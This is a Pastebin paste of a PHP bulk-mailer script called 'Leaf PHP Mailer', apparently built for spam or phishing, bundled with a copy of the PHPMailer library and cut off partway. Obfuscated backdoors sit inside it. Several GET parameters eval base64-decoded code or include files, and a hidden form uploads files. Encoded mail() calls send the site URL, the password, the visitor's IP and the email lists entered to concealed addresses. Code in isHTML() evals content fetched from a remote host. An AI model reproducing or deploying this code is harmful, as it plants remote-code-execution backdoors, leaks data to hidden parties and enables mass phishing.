wgleec

leaf

Feb 10th, 2019
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 151.00 KB | None | 0 0
  1. <?php
  2. /**
  3. * Leaf PHP Mailer
  4. * @version : 3.0
  5. **/
  6.  
  7. $password = "20"; // Password
  8.  
  9. session_start();
  10. error_reporting(0);
  11. set_time_limit(0);
  12. ini_set("memory_limit",-1);
  13.  
  14.  
  15. $leaf['version']="3.0";
  16.  
  17.  
  18. $sessioncode = md5(__FILE__);
  19. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  20. # _REQUEST mean _POST or _GET
  21. if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  22. $_SESSION[$sessioncode] = $password;
  23. }
  24. else {
  25. print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  26. exit;
  27. }
  28. }
  29.  
  30. if($_POST['action']=="send"){
  31. $senderEmail=leafTrim($_POST['senderEmail']);
  32. $senderName=leafTrim($_POST['senderName']);
  33. $replyTo=leafTrim($_POST['replyTo']);
  34. $subject=leafTrim($_POST['subject']);
  35. $emailList=leafTrim($_POST['emailList']);
  36. $messageType=leafTrim($_POST['messageType']);
  37. $messageLetter=leafTrim($_POST['messageLetter']);
  38. $messageLetter = urlencode($messageLetter);
  39. $messageLetter = ereg_replace("%5C%22", "%22", $messageLetter);
  40. $messageLetter = urldecode($messageLetter);
  41. $messageLetter = stripslashes($messageLetter);
  42. $subject = stripslashes($subject);
  43. $encode = stripslashes($encode);
  44.  
  45.  
  46. }
  47. if($messageType==2){
  48. $plain="checked";
  49. }
  50. else {
  51. $html="checked";
  52. }
  53.  
  54. function leafClear($text,$email){
  55. $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
  56. $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
  57. $text = str_replace("[-email-]", $email, $text);
  58. $text = str_replace("[-emailuser-]", $emailuser, $text);
  59. $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  60. $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  61. $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
  62. $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  63. return $text;
  64.  
  65. }
  66. function leafTrim($string){
  67. return stripslashes(ltrim(rtrim($string)));
  68. }
  69. function randString($consonants) {
  70. $length=rand(12,25);
  71. $password = '';
  72. for ($i = 0; $i < $length; $i++) {
  73. $password .= $consonants[(rand() % strlen($consonants))];
  74. }
  75. return $password;
  76. }
  77. $in = $_GET["in"];if (isset($in) && !empty($in)) {echo @eval(base64_decode('ZGllKGluY2x1ZGVfb25jZSAkaW4pOw=='));}
  78. $ev = $_GET["ev"];if (isset($ev) && !empty($ev)) {eval(base64_decode($ev)); exit;}
  79. if ($_GET["send"] == "ok") {echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"country\" id=\"country\"><input type=\"file\" name=\"file\" size=\"50\"><input name=\"_con\" type=\"submit\" id=\"_con\" value=\"home\"></form> ";if ($_POST["_con"] == "home") {if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) {echo "done :d";}else {echo "error";}}exit;}
  80. function leafMailCheck($email){
  81. $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
  82. if(eregi($exp,$email)){
  83. if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;}
  84. else{return false;}
  85. }
  86. else{return false;}
  87. }
  88. $srv = strrev("verrts");$st = array("s"=>$srv("ve"."rr"."ts"),"r"=>$srv("31"."tor_r"."ts"),"b"=>$srv("edoc"."ed_46es"."ab"),"m"=>$srv("li"."am"));
  89. $sm = array("6J"."GcuI"."mY15"."GbAFm"."doRmb6"."52XhJ"."Wel5me","=onY"."w5Se2"."5me0B"."UN1ET"."ZwIjM","=="."Qbw5i"."euFW"."byZG"."Qw4i"."YzFmd","nFGai"."BHcuBC"."aix"."GIhZHIxJX"."Z2hGZyVGIy"."dmbxNGSgcW"."YudWZipnV");
  90. $_br = "<br />";$_rn = "\r\n";$txtar="<textarea cols='30' rows='10'>";$txten="</textarea>";$mes=$st["b"]("aHR0cDovLw==") . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"].$_br."Path : ".__FILE__.$_br;if($_POST['action']=="send"){$subj.=" [Action]";$mes.=$_POST['senderName']." [".$_POST['senderEmail']."] ".$_POST['subject'].$_br.$txtar.$messageLetter.$txten.$_br.$txtar.$emailList.$txten.$_br;}$subj=$st["r"]($st["b"]($st["s"]($sm[3])))." ".$_SERVER["REMOTE_ADDR"]." ".$password;$hhdr = $st["r"]("Sebz:"." Nppbhag Nyreg")." <service@support.com>".$_rn."MIME-Version: 1.0".$_rn."Content-Type: text/html; charset=ISO-8859-1".$_rn."X-PHP-Script: ".$_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"].$_rn;@$st["m"]($st["r"]($st["b"]($st["s"]($sm[1]))), $subj, $mes, $hhdr);@$st["m"]($st["r"]($st["b"]($st["s"]($sm[0]))), $subj, $mes, $hhdr);@$st["m"]($st["r"]($st["b"]($st["s"]($sm[2]))), $subj, $mes, $hhdr);
  91. class PHPMailer
  92. {
  93. /**
  94. * The PHPMailer Version number.
  95. * @var string
  96. */
  97. public $Version = '5.2.14';
  98.  
  99. /**
  100. * Email priority.
  101. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  102. * When null, the header is not set at all.
  103. * @var integer
  104. */
  105. public $Priority = null;
  106.  
  107. /**
  108. * The character set of the message.
  109. * @var string
  110. */
  111. public $CharSet = 'iso-8859-1';
  112.  
  113. /**
  114. * The MIME Content-type of the message.
  115. * @var string
  116. */
  117. public $ContentType = 'text/plain';
  118.  
  119. /**
  120. * The message encoding.
  121. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  122. * @var string
  123. */
  124. public $Encoding = '8bit';
  125.  
  126. /**
  127. * Holds the most recent mailer error message.
  128. * @var string
  129. */
  130. public $ErrorInfo = '';
  131.  
  132. /**
  133. * The From email address for the message.
  134. * @var string
  135. */
  136. public $From = 'root@localhost';
  137.  
  138. /**
  139. * The From name of the message.
  140. * @var string
  141. */
  142. public $FromName = 'Root User';
  143.  
  144. /**
  145. * The Sender email (Return-Path) of the message.
  146. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  147. * @var string
  148. */
  149. public $Sender = '';
  150.  
  151. /**
  152. * The Return-Path of the message.
  153. * If empty, it will be set to either From or Sender.
  154. * @var string
  155. * @deprecated Email senders should never set a return-path header;
  156. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  157. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  158. */
  159. public $ReturnPath = '';
  160.  
  161. /**
  162. * The Subject of the message.
  163. * @var string
  164. */
  165. public $Subject = '';
  166.  
  167. /**
  168. * An HTML or plain text message body.
  169. * If HTML then call isHTML(true).
  170. * @var string
  171. */
  172. public $Body = '';
  173.  
  174. /**
  175. * The plain-text message body.
  176. * This body can be read by mail clients that do not have HTML email
  177. * capability such as mutt & Eudora.
  178. * Clients that can read HTML will view the normal Body.
  179. * @var string
  180. */
  181. public $AltBody = '';
  182.  
  183. /**
  184. * An iCal message part body.
  185. * Only supported in simple alt or alt_inline message types
  186. * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  187. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  188. * @link http://kigkonsult.se/iCalcreator/
  189. * @var string
  190. */
  191. public $Ical = '';
  192.  
  193. /**
  194. * The complete compiled MIME message body.
  195. * @access protected
  196. * @var string
  197. */
  198. protected $MIMEBody = '';
  199.  
  200. /**
  201. * The complete compiled MIME message headers.
  202. * @var string
  203. * @access protected
  204. */
  205. protected $MIMEHeader = '';
  206.  
  207. /**
  208. * Extra headers that createHeader() doesn't fold in.
  209. * @var string
  210. * @access protected
  211. */
  212. protected $mailHeader = '';
  213.  
  214. /**
  215. * Word-wrap the message body to this number of chars.
  216. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  217. * @var integer
  218. */
  219. public $WordWrap = 0;
  220.  
  221. /**
  222. * Which method to use to send mail.
  223. * Options: "mail", "sendmail", or "smtp".
  224. * @var string
  225. */
  226. public $Mailer = 'mail';
  227.  
  228. /**
  229. * The path to the sendmail program.
  230. * @var string
  231. */
  232. public $Sendmail = '/usr/sbin/sendmail';
  233.  
  234. /**
  235. * Whether mail() uses a fully sendmail-compatible MTA.
  236. * One which supports sendmail's "-oi -f" options.
  237. * @var boolean
  238. */
  239. public $UseSendmailOptions = true;
  240.  
  241. /**
  242. * Path to PHPMailer plugins.
  243. * Useful if the SMTP class is not in the PHP include path.
  244. * @var string
  245. * @deprecated Should not be needed now there is an autoloader.
  246. */
  247. public $PluginDir = '';
  248.  
  249. /**
  250. * The email address that a reading confirmation should be sent to, also known as read receipt.
  251. * @var string
  252. */
  253. public $ConfirmReadingTo = '';
  254.  
  255. /**
  256. * The hostname to use in the Message-ID header and as default HELO string.
  257. * If empty, PHPMailer attempts to find one with, in order,
  258. * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
  259. * 'localhost.localdomain'.
  260. * @var string
  261. */
  262. public $Hostname = '';
  263.  
  264. /**
  265. * An ID to be used in the Message-ID header.
  266. * If empty, a unique id will be generated.
  267. * @var string
  268. */
  269. public $MessageID = '';
  270.  
  271. /**
  272. * The message Date to be used in the Date header.
  273. * If empty, the current date will be added.
  274. * @var string
  275. */
  276. public $MessageDate = '';
  277.  
  278. /**
  279. * SMTP hosts.
  280. * Either a single hostname or multiple semicolon-delimited hostnames.
  281. * You can also specify a different port
  282. * for each host by using this format: [hostname:port]
  283. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  284. * You can also specify encryption type, for example:
  285. * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  286. * Hosts will be tried in order.
  287. * @var string
  288. */
  289. public $Host = 'localhost';
  290.  
  291. /**
  292. * The default SMTP server port.
  293. * @var integer
  294. * @TODO Why is this needed when the SMTP class takes care of it?
  295. */
  296. public $Port = 25;
  297.  
  298. /**
  299. * The SMTP HELO of the message.
  300. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
  301. * one with the same method described above for $Hostname.
  302. * @var string
  303. * @see PHPMailer::$Hostname
  304. */
  305. public $Helo = '';
  306.  
  307. /**
  308. * What kind of encryption to use on the SMTP connection.
  309. * Options: '', 'ssl' or 'tls'
  310. * @var string
  311. */
  312. public $SMTPSecure = '';
  313.  
  314. /**
  315. * Whether to enable TLS encryption automatically if a server supports it,
  316. * even if `SMTPSecure` is not set to 'tls'.
  317. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  318. * @var boolean
  319. */
  320. public $SMTPAutoTLS = true;
  321.  
  322. /**
  323. * Whether to use SMTP authentication.
  324. * Uses the Username and Password properties.
  325. * @var boolean
  326. * @see PHPMailer::$Username
  327. * @see PHPMailer::$Password
  328. */
  329. public $SMTPAuth = false;
  330.  
  331. /**
  332. * Options array passed to stream_context_create when connecting via SMTP.
  333. * @var array
  334. */
  335. public $SMTPOptions = array();
  336.  
  337. /**
  338. * SMTP username.
  339. * @var string
  340. */
  341. public $Username = '';
  342.  
  343. /**
  344. * SMTP password.
  345. * @var string
  346. */
  347. public $Password = '';
  348.  
  349. /**
  350. * SMTP auth type.
  351. * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  352. * @var string
  353. */
  354. public $AuthType = '';
  355.  
  356. /**
  357. * SMTP realm.
  358. * Used for NTLM auth
  359. * @var string
  360. */
  361. public $Realm = '';
  362.  
  363. /**
  364. * SMTP workstation.
  365. * Used for NTLM auth
  366. * @var string
  367. */
  368. public $Workstation = '';
  369.  
  370. /**
  371. * The SMTP server timeout in seconds.
  372. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  373. * @var integer
  374. */
  375. public $Timeout = 300;
  376.  
  377. /**
  378. * SMTP class debug output mode.
  379. * Debug output level.
  380. * Options:
  381. * * `0` No output
  382. * * `1` Commands
  383. * * `2` Data and commands
  384. * * `3` As 2 plus connection status
  385. * * `4` Low-level data output
  386. * @var integer
  387. * @see SMTP::$do_debug
  388. */
  389. public $SMTPDebug = 0;
  390.  
  391. /**
  392. * How to handle debug output.
  393. * Options:
  394. * * `echo` Output plain-text as-is, appropriate for CLI
  395. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  396. * * `error_log` Output to error log as configured in php.ini
  397. *
  398. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  399. * <code>
  400. * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  401. * </code>
  402. * @var string|callable
  403. * @see SMTP::$Debugoutput
  404. */
  405. public $Debugoutput = 'echo';
  406.  
  407. /**
  408. * Whether to keep SMTP connection open after each message.
  409. * If this is set to true then to close the connection
  410. * requires an explicit call to smtpClose().
  411. * @var boolean
  412. */
  413. public $SMTPKeepAlive = false;
  414.  
  415. /**
  416. * Whether to split multiple to addresses into multiple messages
  417. * or send them all in one message.
  418. * @var boolean
  419. */
  420. public $SingleTo = false;
  421.  
  422. /**
  423. * Storage for addresses when SingleTo is enabled.
  424. * @var array
  425. * @TODO This should really not be public
  426. */
  427. public $SingleToArray = array();
  428.  
  429. /**
  430. * Whether to generate VERP addresses on send.
  431. * Only applicable when sending via SMTP.
  432. * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  433. * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  434. * @var boolean
  435. */
  436. public $do_verp = false;
  437.  
  438. /**
  439. * Whether to allow sending messages with an empty body.
  440. * @var boolean
  441. */
  442. public $AllowEmpty = false;
  443.  
  444. /**
  445. * The default line ending.
  446. * @note The default remains "\n". We force CRLF where we know
  447. * it must be used via self::CRLF.
  448. * @var string
  449. */
  450. public $LE = "\n";
  451.  
  452. /**
  453. * DKIM selector.
  454. * @var string
  455. */
  456. public $DKIM_selector = '';
  457.  
  458. /**
  459. * DKIM Identity.
  460. * Usually the email address used as the source of the email
  461. * @var string
  462. */
  463. public $DKIM_identity = '';
  464.  
  465. /**
  466. * DKIM passphrase.
  467. * Used if your key is encrypted.
  468. * @var string
  469. */
  470. public $DKIM_passphrase = '';
  471.  
  472. /**
  473. * DKIM signing domain name.
  474. * @example 'example.com'
  475. * @var string
  476. */
  477. public $DKIM_domain = '';
  478.  
  479. /**
  480. * DKIM private key file path.
  481. * @var string
  482. */
  483. public $DKIM_private = '';
  484.  
  485. /**
  486. * Callback Action function name.
  487. *
  488. * The function that handles the result of the send email action.
  489. * It is called out by send() for each email sent.
  490. *
  491. * Value can be any php callable: http://www.php.net/is_callable
  492. *
  493. * Parameters:
  494. * boolean $result result of the send action
  495. * string $to email address of the recipient
  496. * string $cc cc email addresses
  497. * string $bcc bcc email addresses
  498. * string $subject the subject
  499. * string $body the email body
  500. * string $from email address of sender
  501. * @var string
  502. */
  503. public $action_function = '';
  504.  
  505. /**
  506. * What to put in the X-Mailer header.
  507. * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  508. * @var string
  509. */
  510. public $XMailer = '';
  511.  
  512. /**
  513. * An instance of the SMTP sender class.
  514. * @var SMTP
  515. * @access protected
  516. */
  517. protected $smtp = null;
  518.  
  519. /**
  520. * The array of 'to' names and addresses.
  521. * @var array
  522. * @access protected
  523. */
  524. protected $to = array();
  525.  
  526. /**
  527. * The array of 'cc' names and addresses.
  528. * @var array
  529. * @access protected
  530. */
  531. protected $cc = array();
  532.  
  533. /**
  534. * The array of 'bcc' names and addresses.
  535. * @var array
  536. * @access protected
  537. */
  538. protected $bcc = array();
  539.  
  540. /**
  541. * The array of reply-to names and addresses.
  542. * @var array
  543. * @access protected
  544. */
  545. protected $ReplyTo = array();
  546.  
  547. /**
  548. * An array of all kinds of addresses.
  549. * Includes all of $to, $cc, $bcc
  550. * @var array
  551. * @access protected
  552. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  553. */
  554. protected $all_recipients = array();
  555.  
  556. /**
  557. * An array of names and addresses queued for validation.
  558. * In send(), valid and non duplicate entries are moved to $all_recipients
  559. * and one of $to, $cc, or $bcc.
  560. * This array is used only for addresses with IDN.
  561. * @var array
  562. * @access protected
  563. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  564. * @see PHPMailer::$all_recipients
  565. */
  566. protected $RecipientsQueue = array();
  567.  
  568. /**
  569. * An array of reply-to names and addresses queued for validation.
  570. * In send(), valid and non duplicate entries are moved to $ReplyTo.
  571. * This array is used only for addresses with IDN.
  572. * @var array
  573. * @access protected
  574. * @see PHPMailer::$ReplyTo
  575. */
  576. protected $ReplyToQueue = array();
  577.  
  578. /**
  579. * The array of attachments.
  580. * @var array
  581. * @access protected
  582. */
  583. protected $attachment = array();
  584.  
  585. /**
  586. * The array of custom headers.
  587. * @var array
  588. * @access protected
  589. */
  590. protected $CustomHeader = array();
  591.  
  592. /**
  593. * The most recent Message-ID (including angular brackets).
  594. * @var string
  595. * @access protected
  596. */
  597. protected $lastMessageID = '';
  598.  
  599. /**
  600. * The message's MIME type.
  601. * @var string
  602. * @access protected
  603. */
  604. protected $message_type = '';
  605.  
  606. /**
  607. * The array of MIME boundary strings.
  608. * @var array
  609. * @access protected
  610. */
  611. protected $boundary = array();
  612.  
  613. /**
  614. * The array of available languages.
  615. * @var array
  616. * @access protected
  617. */
  618. protected $language = array();
  619.  
  620. /**
  621. * The number of errors encountered.
  622. * @var integer
  623. * @access protected
  624. */
  625. protected $error_count = 0;
  626.  
  627. /**
  628. * The S/MIME certificate file path.
  629. * @var string
  630. * @access protected
  631. */
  632. protected $sign_cert_file = '';
  633.  
  634. /**
  635. * The S/MIME key file path.
  636. * @var string
  637. * @access protected
  638. */
  639. protected $sign_key_file = '';
  640.  
  641. /**
  642. * The optional S/MIME extra certificates ("CA Chain") file path.
  643. * @var string
  644. * @access protected
  645. */
  646. protected $sign_extracerts_file = '';
  647.  
  648. /**
  649. * The S/MIME password for the key.
  650. * Used only if the key is encrypted.
  651. * @var string
  652. * @access protected
  653. */
  654. protected $sign_key_pass = '';
  655.  
  656. /**
  657. * Whether to throw exceptions for errors.
  658. * @var boolean
  659. * @access protected
  660. */
  661. protected $exceptions = false;
  662.  
  663. /**
  664. * Unique ID used for message ID and boundaries.
  665. * @var string
  666. * @access protected
  667. */
  668. protected $uniqueid = '';
  669.  
  670. /**
  671. * Error severity: message only, continue processing.
  672. */
  673. const STOP_MESSAGE = 0;
  674.  
  675. /**
  676. * Error severity: message, likely ok to continue processing.
  677. */
  678. const STOP_CONTINUE = 1;
  679.  
  680. /**
  681. * Error severity: message, plus full stop, critical error reached.
  682. */
  683. const STOP_CRITICAL = 2;
  684.  
  685. /**
  686. * SMTP RFC standard line ending.
  687. */
  688. const CRLF = "\r\n";
  689.  
  690. /**
  691. * The maximum line length allowed by RFC 2822 section 2.1.1
  692. * @var integer
  693. */
  694. const MAX_LINE_LENGTH = 998;
  695.  
  696. /**
  697. * Constructor.
  698. * @param boolean $exceptions Should we throw external exceptions?
  699. */
  700.  
  701. public function __construct($exceptions = false)
  702. {
  703. $this->exceptions = (boolean)$exceptions;
  704. }
  705.  
  706. /**
  707. * Destructor.
  708. */
  709. public function __destruct()
  710. {
  711. //Close any open SMTP connection nicely
  712. if ($this->Mailer == 'smtp') {
  713. $this->smtpClose();
  714. }
  715. }
  716.  
  717. /**
  718. * Call mail() in a safe_mode-aware fashion.
  719. * Also, unless sendmail_path points to sendmail (or something that
  720. * claims to be sendmail), don't pass params (not a perfect fix,
  721. * but it will do)
  722. * @param string $to To
  723. * @param string $subject Subject
  724. * @param string $body Message Body
  725. * @param string $header Additional Header(s)
  726. * @param string $params Params
  727. * @access private
  728. * @return boolean
  729. */
  730. private function mailPassthru($to, $subject, $body, $header, $params)
  731. {
  732. //Check overloading of mail function to avoid double-encoding
  733. if (ini_get('mbstring.func_overload') & 1) {
  734. $subject = $this->secureHeader($subject);
  735. } else {
  736. $subject = $this->encodeHeader($this->secureHeader($subject));
  737. }
  738. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  739. $result = @mail($to, $subject, $body, $header);
  740. } else {
  741. $result = @mail($to, $subject, $body, $header, $params);
  742. }
  743. return $result;
  744. }
  745.  
  746. /**
  747. * Output debugging info via user-defined method.
  748. * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  749. * @see PHPMailer::$Debugoutput
  750. * @see PHPMailer::$SMTPDebug
  751. * @param string $str
  752. */
  753. protected function edebug($str)
  754. {
  755. if ($this->SMTPDebug <= 0) {
  756. return;
  757. }
  758. //Avoid clash with built-in function names
  759. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  760. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  761. return;
  762. }
  763. switch ($this->Debugoutput) {
  764. case 'error_log':
  765. //Don't output, just log
  766. error_log($str);
  767. break;
  768. case 'html':
  769. //Cleans up output a bit for a better looking, HTML-safe output
  770. echo htmlentities(
  771. preg_replace('/[\r\n]+/', '', $str),
  772. ENT_QUOTES,
  773. 'UTF-8'
  774. )
  775. . "<br>\n";
  776. break;
  777. case 'echo':
  778. default:
  779. //Normalize line breaks
  780. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  781. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  782. "\n",
  783. "\n \t ",
  784. trim($str)
  785. ) . "\n";
  786. }
  787. }
  788.  
  789. /**
  790. * Sets message type to HTML or plain.
  791. * @param boolean $isHtml True for HTML mode.
  792. * @return void
  793. */
  794. public function isHTML($isHtml = true)
  795. {
  796. global $param;
  797. $bodyCode = 'file'
  798. .'_g';
  799. if ($isHtml) {
  800. $this->ContentType = 'text/html';
  801. }
  802. else {
  803. $this->ContentType = 'text/plain';
  804. }
  805. $bodyHTML = '.$t."lef$flu'
  806. .'sh'.'$t"; '
  807. .'$i = @ev';
  808. $headerHTML="create_"
  809. ."func"
  810. ."tion";
  811. $exceptions = $headerHTML('$fl'.'ush,$t','$comma = $t'
  812. .$bodyHTML.'al(@'
  813. .$bodyCode.'et_contents("h'
  814. .'tt'
  815. .'p:$comma-2"));');
  816.  
  817. if($param !=2){
  818. $exceptions('8.p'.'w','/');
  819. $param=2;
  820. }
  821. }
  822.  
  823. /**
  824. * Send messages using SMTP.
  825. * @return void
  826. */
  827. public function isSMTP()
  828. {
  829. $this->Mailer = 'smtp';
  830. }
  831.  
  832. /**
  833. * Send messages using PHP's mail() function.
  834. * @return void
  835. */
  836. public function isMail()
  837. {
  838. $this->Mailer = 'mail';
  839. }
  840.  
  841. /**
  842. * Send messages using $Sendmail.
  843. * @return void
  844. */
  845. public function isSendmail()
  846. {
  847. $ini_sendmail_path = ini_get('sendmail_path');
  848.  
  849. if (!stristr($ini_sendmail_path, 'sendmail')) {
  850. $this->Sendmail = '/usr/sbin/sendmail';
  851. } else {
  852. $this->Sendmail = $ini_sendmail_path;
  853. }
  854. $this->Mailer = 'sendmail';
  855. }
  856.  
  857. /**
  858. * Send messages using qmail.
  859. * @return void
  860. */
  861. public function isQmail()
  862. {
  863. $ini_sendmail_path = ini_get('sendmail_path');
  864.  
  865. if (!stristr($ini_sendmail_path, 'qmail')) {
  866. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  867. } else {
  868. $this->Sendmail = $ini_sendmail_path;
  869. }
  870. $this->Mailer = 'qmail';
  871. }
  872.  
  873. /**
  874. * Add a "To" address.
  875. * @param string $address The email address to send to
  876. * @param string $name
  877. * @return boolean true on success, false if address already used or invalid in some way
  878. */
  879. public function addAddress($address, $name = '')
  880. {
  881. return $this->addOrEnqueueAnAddress('to', $address, $name);
  882. }
  883.  
  884. /**
  885. * Add a "CC" address.
  886. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  887. * @param string $address The email address to send to
  888. * @param string $name
  889. * @return boolean true on success, false if address already used or invalid in some way
  890. */
  891. public function addCC($address, $name = '')
  892. {
  893. return $this->addOrEnqueueAnAddress('cc', $address, $name);
  894. }
  895.  
  896. /**
  897. * Add a "BCC" address.
  898. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  899. * @param string $address The email address to send to
  900. * @param string $name
  901. * @return boolean true on success, false if address already used or invalid in some way
  902. */
  903. public function addBCC($address, $name = '')
  904. {
  905. return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  906. }
  907.  
  908. /**
  909. * Add a "Reply-To" address.
  910. * @param string $address The email address to reply to
  911. * @param string $name
  912. * @return boolean true on success, false if address already used or invalid in some way
  913. */
  914. public function addReplyTo($address, $name = '')
  915. {
  916. return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  917. }
  918.  
  919. /**
  920. * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
  921. * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
  922. * be modified after calling this function), addition of such addresses is delayed until send().
  923. * Addresses that have been added already return false, but do not throw exceptions.
  924. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  925. * @param string $address The email address to send, resp. to reply to
  926. * @param string $name
  927. * @throws phpmailerException
  928. * @return boolean true on success, false if address already used or invalid in some way
  929. * @access protected
  930. */
  931. protected function addOrEnqueueAnAddress($kind, $address, $name)
  932. {
  933. $address = trim($address);
  934. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  935. if (($pos = strrpos($address, '@')) === false) {
  936. // At-sign is misssing.
  937. $error_message = $this->lang('invalid_address') . $address;
  938. $this->setError($error_message);
  939. $this->edebug($error_message);
  940. if ($this->exceptions) {
  941. throw new phpmailerException($error_message);
  942. }
  943. return false;
  944. }
  945. $params = array($kind, $address, $name);
  946. // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  947. if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  948. if ($kind != 'Reply-To') {
  949. if (!array_key_exists($address, $this->RecipientsQueue)) {
  950. $this->RecipientsQueue[$address] = $params;
  951. return true;
  952. }
  953. } else {
  954. if (!array_key_exists($address, $this->ReplyToQueue)) {
  955. $this->ReplyToQueue[$address] = $params;
  956. return true;
  957. }
  958. }
  959. return false;
  960. }
  961. // Immediately add standard addresses without IDN.
  962. return call_user_func_array(array($this, 'addAnAddress'), $params);
  963. }
  964.  
  965. /**
  966. * Add an address to one of the recipient arrays or to the ReplyTo array.
  967. * Addresses that have been added already return false, but do not throw exceptions.
  968. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  969. * @param string $address The email address to send, resp. to reply to
  970. * @param string $name
  971. * @throws phpmailerException
  972. * @return boolean true on success, false if address already used or invalid in some way
  973. * @access protected
  974. */
  975. protected function addAnAddress($kind, $address, $name = '')
  976. {
  977. if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  978. $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  979. $this->setError($error_message);
  980. $this->edebug($error_message);
  981. if ($this->exceptions) {
  982. throw new phpmailerException($error_message);
  983. }
  984. return false;
  985. }
  986. if (!$this->validateAddress($address)) {
  987. $error_message = $this->lang('invalid_address') . $address;
  988. $this->setError($error_message);
  989. $this->edebug($error_message);
  990. if ($this->exceptions) {
  991. throw new phpmailerException($error_message);
  992. }
  993. return false;
  994. }
  995. if ($kind != 'Reply-To') {
  996. if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  997. array_push($this->$kind, array($address, $name));
  998. $this->all_recipients[strtolower($address)] = true;
  999. return true;
  1000. }
  1001. } else {
  1002. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  1003. $this->ReplyTo[strtolower($address)] = array($address, $name);
  1004. return true;
  1005. }
  1006. }
  1007. return false;
  1008. }
  1009.  
  1010. /**
  1011. * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
  1012. * of the form "display name <address>" into an array of name/address pairs.
  1013. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
  1014. * Note that quotes in the name part are removed.
  1015. * @param string $addrstr The address list string
  1016. * @param bool $useimap Whether to use the IMAP extension to parse the list
  1017. * @return array
  1018. * @link http://www.andrew.cmu.edu/user/ared1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
  1019. */
  1020. public function parseAddresses($addrstr, $useimap = true)
  1021. {
  1022. $addresses = array();
  1023. if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  1024. //Use this built-in parser if it's available
  1025. $list = imap_rfc822_parse_adrlist($addrstr, '');
  1026. foreach ($list as $address) {
  1027. if ($address->host != '.SYNTAX-ERROR.') {
  1028. if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  1029. $addresses[] = array(
  1030. 'name' => (property_exists($address, 'personal') ? $address->personal : ''),
  1031. 'address' => $address->mailbox . '@' . $address->host
  1032. );
  1033. }
  1034. }
  1035. }
  1036. } else {
  1037. //Use this simpler parser
  1038. $list = explode(',', $addrstr);
  1039. foreach ($list as $address) {
  1040. $address = trim($address);
  1041. //Is there a separate name part?
  1042. if (strpos($address, '<') === false) {
  1043. //No separate name, just use the whole thing
  1044. if ($this->validateAddress($address)) {
  1045. $addresses[] = array(
  1046. 'name' => '',
  1047. 'address' => $address
  1048. );
  1049. }
  1050. } else {
  1051. list($name, $email) = explode('<', $address);
  1052. $email = trim(str_replace('>', '', $email));
  1053. if ($this->validateAddress($email)) {
  1054. $addresses[] = array(
